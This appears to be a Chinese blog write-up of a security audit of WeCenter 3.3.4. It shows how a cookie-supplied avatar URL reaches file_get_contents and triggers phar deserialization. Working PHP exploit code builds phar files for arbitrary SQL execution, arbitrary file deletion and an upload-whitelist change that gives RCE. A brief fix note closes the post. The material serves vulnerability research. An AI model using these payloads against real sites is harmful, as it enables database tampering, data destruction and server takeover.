zoukankan      html  css  js  c++  java
  • WeCenter3.3.4代码审计

    前言

    白天又研究了一天的tp的pop链,终于理解了整个挖掘过程。审计一个19年的cms来缓缓。这个cms同样试利用了pop链实现RCE

    漏洞点

    在上一个tp框架审计中最后我们是自己构造了一个可控的 unserialize(可控),结合我们寻找的pop链触发发序列化。
    在审计中
    反序列化点可以从两个方向进行寻找,一种是直接搜可控的 unserialize(可控) ,另一种是完全可控的文件名(利用 phar:// 协议触发反序列化)。刚好 WeCenter 中就存在可控的文件名。我们今天就是利用的phar:// 协议触发反序列化。
    前面的文章中已经提到,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

    本次漏洞起点就是
     file_get_contents 函数的文件名完全可控(来自 $_COOKIE ),利用 phar:// 协议触发反序列化。
    全局搜索file_get_contents 函数

    依旧是回溯方法,
    目的:

    查看何处调用了 associate_remote_avatar 方法,以及看看 $headimgurl 值是否可控。

    看到headimgurl参数由$wxuser获得
    跟进
    emm全局搜索就这一个页面有这个变量,看这一行

    $wxuser=$this->model('account')>fetch_row('users_weixin','uid='.$value['uid'].' and headimgurl IS NOT NULL');
    

    $wxuser变量由fetch_row获取这一行所有数据后面拼凑而成。
    跟进users_weixin这个参数
    看到他是一个数据表
    寻找增删改查等敏感操作:

    我们可以看到这个地方和前面有关联,跟进$access_user:
    可以看到这个函数中有这个参数

    继续回溯,找哪里调用了bind_account() 
    还是在这个页面:weixin.php:

    public function binding_action()

    这个方法调用了bind_account()

    上面的 $access_user 为这里传入的 $WXConnect[‘access_user’] ,而 $WXConnect 的值来自可控的 $_COOKIE 。

    $WXConnect的值就是cookie中json解码后的值(前缀_WXConnect)

    前面说的攻击点有了:
    完全可控的文件名(利用 phar:// 协议触发反序列化

    传入 file_get_contents 函数的文件名完全可控(来自 $_COOKIE )
    整个攻击过程:
    1、生成恶意cookie - $WXConnect

    2、binding_action取$WXConnect赋给bind_account

    3、bind_account得到$WXConnect后,把值中的headimgurl入库

    4、synch_img_action读库

    5、把读库的结果赋值给associate_remote_avatar

    6、associate_remote_avatar把取到的值给file_get_contents,触发phar反序列化

    任意SQL语句执行

    pop链的寻找我们全局搜索魔术方法:

    system/aws_model.inc.php:

    __destruct() 方法中存在任意 SQL 语句执行。

    我们先生成一个phar文件:

    <?php
    class AWS_MODEL{
            private $_shutdown_query = array();
    
            public function __construct(){
                $this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";
            }
    }
    $a = new AWS_MODEL;
    $phar = new Phar("2.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."__HALT_COMPILER();");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt","123");
    $phar->stopBuffering();
    rename("2.phar","shell.gif");
    ?>
    

    然后找个可以上传文件的地方。这里要注意,一定不要选择在用户头像处上传。

    这里看1889行,会置空我们的文件
    这里我们通过发起问题的地方来上传文件

    记录一下路径

    生成并设置COOKIE中的WXConnect值

    <?php
        $arr = array();
        $arr['access_token'] = array('openid' => '1');
        $arr['access_user'] = array();
        $arr['access_user']['openid'] = 1;
        $arr['access_user']['nickname'] = 'naiquan';
        $arr['access_user']['headimgurl'] = 'phar://uploads/question/20200107/a3df6f75e11120c22ba0d85519c5d442.gif';
        echo json_encode($arr);
    ?>
    

    将headimgurl的值设置成phar伪协议解析的恶意文件后运行,将结果放入Cookie中,前缀可参考Cookie中的其他参数。

    访问app/m/weixin.php下的binding_action

    注意这里要对应

    bind_account得到$WXConnect后,把值中的headimgurl入库

    synch_img_action读库后赋值给associate_remote_avatar,associate_remote_avatar把取到的值给file_get_contents,触发phar反序列化:

    访问app/account/ajax.php下的synch_img_action

    任意SQL语句执行成功

    任意文件删除

    system/Zend/Http/Response/Stream.php:__destruct() 方法中存在任意文件删除。

    exp:

    <?php
    class Zend_Http_Response_Stream
    {
        protected $_cleanup;
        protected $stream_name;
    
        public function __construct($stream_name)
        {
            $this->_cleanup = true;
            $this->stream_name = $stream_name;
        }
    }
    
    $stream_name = '/var/www/html/wecenter334/shell.php';
    $evilobj = new Zend_Http_Response_Stream($stream_name);
    // phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
    $filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
    file_exists($filename) ? unlink($filename) : null;
    $phar=new Phar($filename);
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($evilobj);
    $phar->addFromString("foo.txt","bar");
    $phar->stopBuffering();
    
    ?>
    

    流程和上面一致,不再重复

    RCE

    这个才是重点,能够RCE,我们来分析一下流程:

    WeCenter 后台的 允许的附件文件类型 处,设置了用户可上传的文件类型后缀。而这个配置是写在数据库中的,我们可以利用前面的任意 SQL 语句执行的 POP 链,往字段中添加 php 文件后缀。

    可以看到这里后缀白名单限制了我们上传php文件,我们可以通过一个修改后缀名白名单的方式,上传php文件进行RCE了

    利用下面的poc生成phar文件,重命名为shell.gif

    <?php
    class AWS_MODEL{
        private $_shutdown_query = array();
    
        public function __construct(){
            $file_exts = "jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php";
            $this->_shutdown_query['test'] = "UPDATE `aws_system_setting` SET `value` = '".serialize($file_exts)."' WHERE (`varname` = 'allowed_upload_types')";
        }
    }
    $a = new AWS_MODEL;
    $phar = new Phar("2.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."__HALT_COMPILER();");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt","123");
    $phar->stopBuffering();
    ?>
    

    和前面一样通过发起问题的地方来上传文件

    记录一下路径

    生成并设置COOKIE中的WXConnect值

    <?php
        $arr = array();
        $arr['access_token'] = array('openid' => '1');
        $arr['access_user'] = array();
        $arr['access_user']['openid'] = 1;
        $arr['access_user']['nickname'] = 'naiquan';
        $arr['access_user']['headimgurl'] = 'phar://uploads/question/20200107/a3df6f75e11120c22ba0d85519c5d442.gif';
        echo json_encode($arr);
    ?>
    

    将headimgurl的值设置成phar伪协议解析的恶意文件后运行,将结果放入Cookie中,前缀可参考Cookie中的其他参数。

    访问app/m/weixin.php下的binding_action

    接着通过如下数据包触发 phar反序列化 执行 SQL 语句。

    可以看到我们上传php文件成功

    漏洞修复

    删除app/account/ajax.php下名为synch_img的action即可,删除路由或者函数都可以。

    参考

    https://mochazz.github.io/2020/01/16/WeCenter3.3.4SQL注入到RCE/#利用

  • 相关阅读:
    现代软件工程 第一章 概论 第4题——邓琨
    现代软件工程 第一章 概论 第9题——邓琨
    现代软件工程 第一章 概论 第7题——张星星
    现代软件工程 第一章 概论 第5题——韩婧
    hdu 5821 Ball 贪心(多校)
    hdu 1074 Doing Homework 状压dp
    hdu 1074 Doing Homework 状压dp
    hdu 1069 Monkey and Banana LIS变形
    最长上升子序列的初步学习
    hdu 1024 Max Sum Plus Plus(m段最大子列和)
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12661051.html
Copyright © 2011-2022 走看看